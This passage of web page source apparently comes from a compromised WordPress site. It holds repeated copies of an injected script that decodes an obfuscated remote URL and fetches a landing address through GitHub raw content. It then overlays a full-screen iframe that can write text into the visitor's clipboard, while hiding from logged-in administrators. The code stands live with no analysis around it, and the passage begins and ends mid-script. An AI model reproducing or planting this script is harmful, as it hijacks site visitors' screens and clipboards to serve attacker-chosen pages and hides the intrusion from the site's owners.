      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
